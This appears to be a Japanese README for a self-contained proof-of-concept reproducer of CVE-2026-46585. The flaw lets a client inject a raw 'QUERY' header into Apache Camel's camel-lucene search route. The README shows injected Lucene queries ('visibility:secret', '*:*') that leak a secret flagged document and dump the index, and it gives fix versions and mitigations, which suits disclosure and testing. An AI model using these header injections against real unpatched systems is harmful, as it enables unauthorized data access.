
Reproducer for CVE-2026-46585: Apache Camel camel-lucene の QUERY ヘッダインジェクションにより、認証バイパス / インデックスデータの漏洩を可能にする脆弱性の再現ツール(修正バージョン: 4.14.8 / 4.18.3 / 4.21.0)
QUERY ヘッダインジェクション再現ツール (CVE-2026-46585)このプロジェクトは、Apache Camel の camel-lucene コンポーネントにおける メッセージヘッダインジェクション / 認証バイパス(CVE-2026-46585 として追跡)を実証します。Lucene クエリプロデューサは、Exchange ヘッダから全文検索フレーズを読み取ります。しかし、そのヘッダ名は単なる文字列 QUERY(およびドキュメントフラグ用の RETURN_LUCENE_DOCS)でした。これらの名前は Camel / camel プレフィックスで始まらないため、HttpHeaderFilterStrategy(HTTP バウンダリで Camel ヘッダ名前空間のみをブロックするもの)は、受信 HTTP リクエストから Exchange にそのまま通過させてしまいます。HTTP コンシューマの背後に Lucene クエリを公開する Camel ルートにアクセスする HTTP クライアントは、その QUERY ヘッダを設定し、その値をインデックスに対して実行させることができ、ルートが本来実行する予定だったクエリを上書きします。
この PoC は、影響を認証バイパス / データ流出として示します。認証されていないクライアントが、生の Lucene クエリ構文を注入して、公開検索エンドポイントが本来決して返すべきでなかったドキュメントを読み取ります(また、全件一致クエリでインデックス全体をダンプします)。
アドバイザリ: https://camel.apache.org/security/CVE-2026-46585.html
これは CVE-2025-27636、CVE-2026-40453、CVE-2026-46454、CVE-2026-46457 と同じヘッダインジェクションファミリーに属し、
Camelプレフィックスが付かないヘッダ定数を根本原因とする点で、camel-elasticsearch のSEARCH_QUERYと共通しています。
// LuceneConstants(影響を受ける 4.18.2)— ヘッダ名は裸の単語 "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process(影響を受ける 4.18.2)— フレーズはそのヘッダから直接来る:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // 攻撃者制御
}
LuceneSearcher はフレーズを標準の QueryParser("contents", analyzer) で解析するため、攻撃者は Lucene クエリ構文全体(フィールド指定語 visibility:secret、全件一致 *:*、ワイルドカード、高コストな正規表現)を利用できます。
修正(4.14.8 / 4.18.3 / 4.21.0、CAMEL-23509)では、ヘッダの 値(定数)を Camel の慣例に変更します — HEADER_QUERY を QUERY から CamelLuceneQuery に、HEADER_RETURN_LUCENE_DOCS を CamelLuceneReturnLuceneDocs に改名。これにより、他の Camel 制御ヘッダと同様に HTTP バウンダリでフィルタリングされます。定数フィールド名自体は変更されていないため(LuceneConstants.HEADER_QUERY を参照するルートは引き続き動作します)。変更は、これらのヘッダを生の文字列値で設定/読み取っているルートに対してのみ破壊的変更となります。
from("platform-http:/search")
.removeHeaders("Camel*") // 文書化された強化策—後述
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* Hits をテキストとしてレンダリング */);
ルート作成者のセキュリティモデルは「このエンドポイントは 公開 検索のみ提供する」というものです。文書化された強化策として、エッジで removeHeaders("Camel*") により Camel 制御ヘッダ名前空間を除去しています。しかし、それでは役に立ちません。制御ヘッダの名前は QUERY であり CamelLuceneQuery ではないため、その呼び出しでも組み込みの HTTP ヘッダフィルタでも除去されないのです — これこそが CVE の要点であり、修正による改名が対処する点です。
インデックスには、3 つの公開ドキュメントと、本文に無害なフラグマーカーを持つ visibility:secret とタグ付けされた 1 つの秘密ドキュメントが含まれています。通常の公開検索(QUERY=onboarding、デフォルトの contents フィールドに対する単純な語句)では決して返されません。注入されたフィールド指定クエリでは返されます。
被害者 は Camel 検索ルートとそのインデックスです。攻撃者 はリクエストヘッダを設定するだけの認証されていない HTTP クライアントです。すべては単一の自己完結型アプリケーション内で動作します。
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # 単一の自己完結型サービス
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # インデックスディレクトリを Camel Bean として登録(#kbIndexDir)
│ ├── IndexBootstrap.java # Lucene インデックスを構築:3 件の公開ドキュメント + 1 件の秘密ドキュメント(フラグ)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # 攻撃者:QUERY ヘッダを注入して GET /search
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
=== 1) Legitimate public search (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) Injected query (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
hits=4
- ... (every document, including the secret one) ...
>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
正当な用語検索では公開ドキュメントのみが返されます。攻撃リクエストは、フレームワークがフィルタリングすべき単一のヘッダの値が異なるだけであり、秘密ドキュメントを読み取り、全件一致クエリはインデックス全体を返します。
HTTP コンシューマから到達可能な lucene:...:query プロデューサを持つ任意のルート。意図しないドキュメントを読むだけでなく、攻撃者は以下を実行できます:
*:* や別のフィールド述語に置き換える(認証バイパス)。4.14.8 / 4.18.3 / 4.21.0(CAMEL-23509)にアップグレードしてください。アップグレード後、生のヘッダ名でクエリを設定しているルートは、QUERY / RETURN_LUCENE_DOCS の代わりに CamelLuceneQuery(および CamelLuceneReturnLuceneDocs)を使用する必要があります。これらの Camel 名前空間の名前は、他の制御ヘッダと同様に HTTP バウンダリでフィルタリングされます。
アップグレードまでの間:
.removeHeader("QUERY") と .removeHeader("RETURN_LUCENE_DOCS") を実行し、続けて .setHeader("QUERY", constant(...))(または検証済み入力から構築)をルートの先頭で行います。この再現ツールは、セキュリティ研究および許可されたテストのみを目的として提供されており、公開され修正済みの脆弱性に対するものです。明示的な許可なしにシステムに対して使用しないでください。
| プロパティ | 値 |
|---|
| コンポーネント | camel-lucene |
| 影響を受けるクラス | org.apache.camel.component.lucene.LuceneQueryProducer が LuceneConstants.HEADER_QUERY(値 "QUERY")を読み取る |
| CWE | CWE-20(不適切な入力検証)/ CWE-639(ユーザー制御キーによる認証バイパス) |
| 影響 | HTTP クライアントが QUERY ヘッダを設定 → 任意の Lucene クエリが実行 → 本来のスコープ外のドキュメントが読まれる、または CPU 負荷の高い正規表現クエリが実行される |
| 前提条件 | ルートが lucene:...:query プロデューサを HTTP コンシューマの背後に公開している(例:platform-http)。かつコンシューマが認証されていない場合 |
| 影響を受けるバージョン | 4.0.0 から 4.14.8 未満、4.15.0 から 4.18.3 未満、4.19.0 から 4.21.0 未満 |
| 修正バージョン | 4.14.8、4.18.3、4.21.0 |
| JIRA | CAMEL-23509 |
| クレジット | Andrea Cosentino(Apache Software Foundation)および Yu Bao(PayPal) |